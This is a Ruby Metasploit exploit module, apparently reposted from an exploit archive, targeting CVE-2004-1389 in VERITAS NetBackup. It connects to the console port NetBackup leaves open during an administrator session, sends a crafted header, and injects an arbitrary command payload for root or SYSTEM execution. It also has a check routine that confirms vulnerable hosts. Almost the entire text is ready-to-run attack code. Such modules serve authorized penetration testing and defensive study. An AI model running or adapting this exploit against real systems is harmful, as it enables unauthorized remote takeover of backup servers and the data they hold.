## https://sploitus.com/exploit?id=PACKETSTORM:82267
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VERITAS NetBackup Remote Command Execution',
'Description' => %q{
This module allows arbitrary command execution on an
ephemeral port opened by Veritas NetBackup, whilst an
administrator is authenticated. The port is opened and
allows direct console access as root or SYSTEM from
any source address.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-1389' ],
[ 'OSVDB', '11026' ],
[ 'BID', '11494' ],
[ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ],
],
'Privileged' => true,
'Platform' => ['unix', 'win', 'linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Oct 21 2004',
'DefaultTarget' => 0))
end
def check
connect
sploit = rand_text_alphanumeric(10)
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
sock.put(buf)
banner = sock.get(3,3)
disconnect
if (banner and banner =~ /#{sploit}/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = payload.encoded.split(" ")
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
buf << payload.encoded
buf << "\n"
sock.put(buf)
res = sock.get(-1,3)
print_status("#{res}")
handler
disconnect
end
end